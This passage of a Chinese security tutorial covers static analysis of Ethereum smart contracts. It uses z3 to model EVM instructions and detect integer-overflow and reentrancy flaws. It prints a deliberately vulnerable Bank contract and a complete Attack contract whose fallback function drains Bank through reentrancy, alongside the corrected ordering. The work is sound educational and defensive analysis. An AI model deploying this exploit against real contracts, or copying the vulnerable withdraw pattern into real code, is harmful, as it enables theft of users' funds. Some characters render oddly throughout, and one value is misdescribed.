上面的代碼演示了z3如何求解布爾約束,代碼的運(yùn)行結(jié)果如下:
- [q = False, p = False, r = True]
4.1.3 位向量
在z3中我們可以創(chuàng)建固定長(zhǎng)度的位向量,比如在下面的代碼中BitVec('x', 16)創(chuàng)建了一個(gè)長(zhǎng)度為16位,名為x的變量。
- from z3 import *
- x = BitVec('x', 16)
- y = BitVec('y', 16)
- solve(x + y > 5)
在z3中除了可以創(chuàng)建位向量變量之外,也可以創(chuàng)建位向量常量。下面代碼中的BitVecVal(-1, 16)創(chuàng)建了一個(gè)長(zhǎng)度為16位,值為1的位向量常量。
- from z3 import *
- a = BitVecVal(-1, 16)
- b = BitVecVal(65535, 16)
- print simplify(a == b)
4.1.4 求解器
- from z3 import *
- x = Int('x')
- y = Int('y')
- s = Solver()
- s.add(x > 10, y == x + 2)
- print s
- print s.check()
在上面代碼中,Solver()創(chuàng)建了一個(gè)通用的求解器,之后調(diào)用add()添加約束,調(diào)用check()判斷是否有滿足約束的解。如果有解則返回sat,如果沒(méi)有則返回unsat
4.2 使用z3進(jìn)行約束求解
對(duì)于智能合約而言,當(dāng)執(zhí)行到CALLDATASIZE、CALLDATALOAD等指令時(shí),表示程序要獲取外部的輸入數(shù)據(jù),此時(shí)我們用z3中的BitVec函數(shù)創(chuàng)建一個(gè)位向量變量來(lái)代替輸入數(shù)據(jù);當(dāng)執(zhí)行到LT、EQ等指令時(shí),此時(shí)我們用z3創(chuàng)建一個(gè)類似If(ULE(xx,xx), 0, 1)的表達(dá)式。
4.2.1 生成數(shù)學(xué)表達(dá)式
接下來(lái)我們以3.2節(jié)中的基本塊1為例,看看如何把智能合約的指令轉(zhuǎn)換成數(shù)學(xué)表達(dá)式。
在開(kāi)始轉(zhuǎn)換之前,我們先來(lái)模擬下以太坊虛擬機(jī)的運(yùn)行環(huán)境。我們用變量stack=[]來(lái)表示以太坊虛擬機(jī)的棧,用變量memory={}來(lái)表示以太坊虛擬機(jī)的內(nèi)存,用變量storage={}來(lái)表示storage。
基本塊1為例的指令碼如下:
- 00000: PUSH1 0x80
- 00002: PUSH1 0x40
- 00004: MSTORE
- 00005: PUSH1 0x04
- 00007: CALLDATASIZE
- 00008: LT
- 00009: PUSH1 0x3e
- 0000b: JUMPI
PUSH指令是入棧指令,執(zhí)行兩次入棧后,stack的值為[0x80,0x40]
MSTORE執(zhí)行之后,stack為空,memory的值為{0x40:0x80}
CALLDATASIZE指令表示要獲取輸入數(shù)據(jù)的長(zhǎng)度,我們使用z3中的BitVec("Id_size",256),生成一個(gè)長(zhǎng)度為256位,名為Id_size的變量來(lái)表示此時(shí)輸入數(shù)據(jù)的長(zhǎng)度。
LT指令用來(lái)比較0x04和變量Id_size的大小,如果0x04小于變量Id_size則值為0,否則值為1。使用z3轉(zhuǎn)換成表達(dá)式則為:If(ULE(4, Id_size), 0, 1)
JUMPI是條件跳轉(zhuǎn)指令,是否跳轉(zhuǎn)到0x3e地址處取決于上一步中LT指令的結(jié)果,即表達(dá)式If(ULE(4, Id_size), 0, 1)的結(jié)果。如果結(jié)果不為0則跳轉(zhuǎn),否則不跳轉(zhuǎn),使用z3轉(zhuǎn)換成表達(dá)式則為:If(ULE(4, Id_size), 0, 1) != 0
至此,基本塊1中的指令都已經(jīng)使用z3轉(zhuǎn)換成數(shù)學(xué)表達(dá)式。
4.2.2 執(zhí)行數(shù)學(xué)表達(dá)式
執(zhí)行上一節(jié)中生成的數(shù)學(xué)表達(dá)式的偽代碼如下所示:
- from z3 import *
- Id_size = BitVec("Id_size",256)
- exp = If(ULE(4, Id_size), 0, 1) != 0
- solver = Solver()
- solver.add(exp)
- if solver.check() == sat:
- print "jump to BasicBlock3"
- else:
- print "error "
在上面的代碼中調(diào)用了solver的check()方法來(lái)判斷此表達(dá)式是否有解,如果返回值等于sat則表示表達(dá)式有解,也就是說(shuō)LT指令的結(jié)果不為0,那么接下來(lái)就可以跳轉(zhuǎn)到基本塊3。
觀察3.4節(jié)中的控制流圖我們得知,基本塊1之后有兩條分支,如果滿足判斷條件則跳轉(zhuǎn)到基本塊3,不滿足則跳轉(zhuǎn)到基本塊2。但在上面的代碼中,當(dāng)check()方法的返回值不等于sat時(shí),我們并沒(méi)有跳轉(zhuǎn)到基本塊2,而是直接輸出錯(cuò)誤,這是因?yàn)楫?dāng)條件表達(dá)式無(wú)解時(shí),繼續(xù)向下執(zhí)行沒(méi)有任何意義。那么如何才能執(zhí)行到基本塊2呢,答案是對(duì)條件表達(dá)式取反,然后再判斷取反后的表達(dá)式是否有解,如果有解則跳轉(zhuǎn)到基本塊2執(zhí)行。偽代碼如下所示:
- Id_size = BitVec("Id_size",256)
- exp = If(ULE(4, Id_size), 0, 1) != 0
- negated_exp = Not(If(ULE(4, Id_size), 0, 1) != 0)
- solver = Solver()
- solver.push()
- solver.add(exp)
- if solver.check() == sat:
- print "jump to BasicBlock3"
- else:
- print "error"
- solver.pop()
- solver.push()
- solver.add(negated_exp)
- if solver.check() == sat:
- print "falls to BasicBlock2"
- else:
- print "error"
在上面代碼中,我們使用z3中的Not函數(shù),對(duì)之前的條件表達(dá)式進(jìn)行取反,之后調(diào)用check()方法判斷取反后的條件表達(dá)式是否有解,如果有解就執(zhí)行基本塊2。
4.3 總結(jié)
本章首先介紹了z3的基本用法,之后以基本塊1為例,分析了如何使用z3把指令轉(zhuǎn)換成表達(dá)式,同時(shí)也分析了如何對(duì)轉(zhuǎn)換后的表達(dá)式進(jìn)行約束求解。在下一章中我們將會(huì)介紹如何在約束求解的過(guò)程中加入對(duì)智能合約漏洞的分析,精彩不容錯(cuò)過(guò)。
第五章 常見(jiàn)的智能合約漏洞以及檢測(cè)方法
在本章中,我們首先會(huì)介紹智能合約中常見(jiàn)的漏洞,之后會(huì)分析檢測(cè)這些漏洞的方法。
5.1 智能合約中常見(jiàn)的漏洞
5.1.1 整數(shù)溢出漏洞
我們以8位無(wú)符號(hào)整數(shù)為例分析溢出產(chǎn)生的原因,如下圖所示,最大的8位無(wú)符號(hào)整數(shù)是255,如果此時(shí)再加1就會(huì)變?yōu)?。
Solidity語(yǔ)言支持從uint8到uint256,uint256的取值范圍是0到2^256-1。如果某個(gè)uint256變量的值為2^256-1,那么這個(gè)變量再加1就會(huì)發(fā)生溢出,同時(shí)該變量的值變?yōu)?。
- pragma solidity ^0.4.20;
- contract Test {
- function overflow() public pure returns (uint256 _overflow) {
- uint256 max = 2**256-1;
- return max + 1;
- }
- }
上面的合約代碼中,變量max的值為2^256-1,是uint256所能表示的最大整數(shù),如果再加1就會(huì)產(chǎn)生溢出,max的值變?yōu)?。
5.1.2 重入漏洞
當(dāng)智能合約向另一個(gè)智能合約轉(zhuǎn)賬時(shí),后者的fallback函數(shù)會(huì)被調(diào)用。如果fallback函數(shù)中存在惡意代碼,那么惡意代碼會(huì)被執(zhí)行,這就是重入漏洞產(chǎn)生的前提。那么重入漏洞在什么情況下會(huì)發(fā)生呢,下面我們以一個(gè)存在重入漏洞的智能合約為例進(jìn)行分析。
- pragma solidity ^0.4.20;
- contract Bank {
- address owner;
- mapping (address => uint256) balances;
- constructor() public payable{
- owner = msg.sender;
- }
- function deposit() public payable {
- balances[msg.sender] += msg.value;
- }
- function withdraw(address receiver, uint256 amount) public{
- require(balances[msg.sender] > amount);
- require(address(this).balance > amount);
- // 使用 call.value()()進(jìn)行ether轉(zhuǎn)幣時(shí),沒(méi)有Gas限制
- receiver.call.value(amount)();
- balances[msg.sender] -= amount;
- }
- function balanceOf(address addr) public view returns (uint256) {
- return balances[addr];
- }
- }
- contract Attack {
- address owner;
- address victim;
- constructor() public payable {
- owner = msg.sender;
- }
- function setVictim(address target) public{
- victim = target;
- }
- function step1(uint256 amount) public payable{
- if (address(this).balance > amount) {
- victim.call.value(amount)(bytes4(keccak256("deposit()")));
- }
- }
- function step2(uint256 amount) public{
- victim.call(bytes4(keccak256("withdraw(address,uint256)")), this,amount);
- }
- // selfdestruct, send all balance to owner
- function stopAttack() public{
- selfdestruct(owner);
- }
- function startAttack(uint256 amount) public{
- step1(amount);
- step2(amount / 2);
- }
- function () public payable {
- if (msg.sender == victim) {
- // 再次嘗試調(diào)用Bank合約的withdraw函數(shù),遞歸轉(zhuǎn)幣
- victim.call(bytes4(keccak256("withdraw(address,uint256)")), this,msg.value);
- }
- }
- }
在上面的代碼中,智能合約Bank是存在重入漏洞的合約,其內(nèi)部的withdraw()方法使用了call方法進(jìn)行轉(zhuǎn)賬,使用該方法轉(zhuǎn)賬時(shí)沒(méi)有g(shù)as限制。 智能合約Attack是個(gè)惡意合約,用來(lái)對(duì)存在重入的智能合約Bank進(jìn)行攻擊。攻擊流程如下:
- Attack先給Bank轉(zhuǎn)幣
- Bank在其內(nèi)部的賬本balances中記錄Attack轉(zhuǎn)幣的信息
- Attack要求Bank退幣
- Bank先退幣再修改賬本balances
問(wèn)題就出在Bank是先退幣再去修改賬本balances。因?yàn)锽ank退幣的時(shí)候,會(huì)觸發(fā)Attack的fallback函數(shù),而Attack的fallback函數(shù)中會(huì)再次執(zhí)行退幣操作,如此遞歸下去,Bank沒(méi)有機(jī)會(huì)進(jìn)行修改賬本的操作,最后導(dǎo)致Attack會(huì)多次收到退幣。
5.2 漏洞的檢測(cè)方法
5.2.1 整數(shù)溢出漏洞的檢測(cè)
通過(guò)約束求解可以很容易的發(fā)現(xiàn)智能合約中的整數(shù)溢出漏洞,下面我們就通過(guò)一個(gè)具體的例子一步步的分析。
首先對(duì)5.1.1節(jié)中的智能合約進(jìn)行反編譯,得到的部分反編譯代碼如下:
- 000108: PUSH1 0x00
- 000110: DUP1
- 000111: PUSH32 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
- 000144: SWAP1
- 000145: POP
- 000146: PUSH1 0x01
- 000148: DUP2
- 000149: ADD
- 000150: SWAP2
- 000151: POP
- 000152: POP
- 000153: SWAP1
- 000154: JUMP
這段反編譯后的代碼對(duì)應(yīng)的是智能合約中的overflow函數(shù),第000149行的ADD指令對(duì)應(yīng)的是函數(shù)中max + 1這行代碼。ADD指令會(huì)把棧頂?shù)膬蓚€(gè)值出棧,相加后把結(jié)果壓入棧頂。下面我們就通過(guò)一段偽代碼來(lái)演示如何檢測(cè)整數(shù)溢出漏洞:
- def checkOverflow():
- first = stack.pop(0)
- second = stack.pop(0)
- first = BitVecVal(first, 256)
- second = BitVecVal(second, 256)
- computed = first + second
- solver.add(UGT(first, computed))
- if check_sat(solver) == sat:
- print "have overflow"
我們先把棧頂?shù)膬蓚€(gè)值出棧,然后使用z3中BitVecVal()函數(shù)的把這兩個(gè)值轉(zhuǎn)變成位向量常量,接著計(jì)算兩個(gè)位向量常量相加的結(jié)果,最后構(gòu)建表達(dá)式UGT(first, computed)來(lái)判斷加數(shù)是否大于相加的結(jié)果,如果該表達(dá)式有解則說(shuō)明會(huì)發(fā)生整數(shù)溢出[4]。
5.2.2 重入漏洞的檢測(cè)
在分析重入漏洞之前,我們先來(lái)總結(jié)在智能合約中用于轉(zhuǎn)賬的方法:
-
address.transfer(amount): 當(dāng)發(fā)送失敗時(shí)會(huì)拋出異常,只會(huì)傳遞2300Gas供調(diào)用,可以防止重入漏洞
-
address.send(amount): 當(dāng)發(fā)送失敗時(shí)會(huì)返回false,只會(huì)傳遞2300Gas供調(diào)用,可以防止重入漏洞
-
address.gas(gas_value).call.value(amount)(): 當(dāng)發(fā)送失敗時(shí)會(huì)返回false,傳遞所有可用Gas進(jìn)行調(diào)用(可通過(guò) gas(gas_value) 進(jìn)行限制),不能有效防止重入
通過(guò)以上對(duì)比不難發(fā)現(xiàn),transfer(amount)和send(amount)限制Gas最多為2300,使用這兩個(gè)方法轉(zhuǎn)賬可以有效地防止重入漏洞。call.value(amount)()默認(rèn)不限制Gas的使用,這就會(huì)很容易導(dǎo)致重入漏洞的產(chǎn)生。既然call指令是產(chǎn)生重入漏洞的原因所在,那么接下來(lái)我們就詳細(xì)分析這條指令。
call指令有七個(gè)參數(shù),每個(gè)參數(shù)的含義如下所示:
call(gas, address, value, in, insize, out, outsize)
- 第一個(gè)參數(shù)是指定的gas限制,如果不指定該參數(shù),默認(rèn)不限制。
- 第二個(gè)參數(shù)是接收轉(zhuǎn)賬的地址
- 第三個(gè)參數(shù)是轉(zhuǎn)賬的金額
- 第四個(gè)參數(shù)是輸入給call指令的數(shù)據(jù)在memory中的起始地址
- 第五個(gè)參數(shù)是輸入的數(shù)據(jù)的長(zhǎng)度
- 第六個(gè)參數(shù)是call指令輸出的數(shù)據(jù)在memory中的起始地址
- 第七個(gè)參數(shù)是call指令輸出的數(shù)據(jù)的長(zhǎng)度
通過(guò)以上的分析,總結(jié)下來(lái)我們可以從以下兩個(gè)維度去檢測(cè)重入漏洞
- 判斷call指令第一個(gè)參數(shù)的值,如果沒(méi)有設(shè)置gas限制,那么就有產(chǎn)生重入漏洞的風(fēng)險(xiǎn)
- 檢查call指令之后,是否還有其他的操作。
第二個(gè)維度中提到的call指令之后是否還有其他操作,是如何可以檢測(cè)到重入漏洞的呢?接下來(lái)我們就詳細(xì)分析下。在5.1.2節(jié)中的智能合約Bank是存在重入漏洞的,根本原因就是使用call指令進(jìn)行轉(zhuǎn)賬沒(méi)有設(shè)置Gas限制,同時(shí)在withdraw方法中先退幣再去修改賬本balances,關(guān)鍵代碼如下:
- receiver.call.value(amount)();
- balances[msg.sender] -= amount;
執(zhí)行call指令的時(shí)候,會(huì)觸發(fā)Attack中的fallback函數(shù),而Attack的fallback函數(shù)中會(huì)再次執(zhí)行退幣操作,如此遞歸下去,導(dǎo)致Bank無(wú)法執(zhí)行接下來(lái)的修改賬本balances的操作。此時(shí)如果我們對(duì)代碼做出如下調(diào)整,先修改賬本balances,之后再去調(diào)用call指令,雖然也還會(huì)觸發(fā)Attack中的fallback函數(shù),Attack的fallback函數(shù)中也還會(huì)再次執(zhí)行退幣操作,但是每次退幣操作都是先修改賬本balances,所以Attack只能得到自己之前存放在Bank中的幣,重入漏洞不會(huì)發(fā)生。
- balances[msg.sender] -= amount;
- receiver.call.value(amount)();
總結(jié)
本文的第一章介紹了智能合約編譯環(huán)境的搭建以及編譯器的使用,第二章講解了常用的匯編指令并且對(duì)反編譯后的代碼進(jìn)行了逐行的分析。前兩章都是基本的準(zhǔn)備工作,從第三章開(kāi)始,我們使用之前的反編譯代碼,構(gòu)建了完整的控制流圖。第四章中我們介紹了z3的用法以及如何把控制流圖中的基本塊中的指令用z3轉(zhuǎn)換成數(shù)學(xué)表達(dá)式。第五章中我們通過(guò)整數(shù)溢出和重入漏洞的案例,詳細(xì)分析了如何在約束求解的過(guò)程中檢測(cè)智能合約中的漏洞。最后,希望讀者在閱讀本文后能有所收獲,如有不足之處歡迎指正。
參考
以太坊虛擬機(jī)介紹_zxh的專欄-CSDN博客_以太坊虛擬機(jī)
http://cc.jlu.edu.cn/G2S/Template/View.aspx
Z3Py Guide
GitHub - enzymefinance/oyente: An Analysis Tool for Smart Contracts
本文鏈接:區(qū)塊鏈安全-以太坊智能合約靜態(tài)分析 - 360 核心安全技術(shù)博客
總結(jié)
以上是生活随笔為你收集整理的区块链安全-以太坊智能合约静态分析的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問(wèn)題。
- 上一篇: 互逆的压缩与解压(洛谷P1319、P13
- 下一篇: 管理软件实施(4)——如何编写售前解决方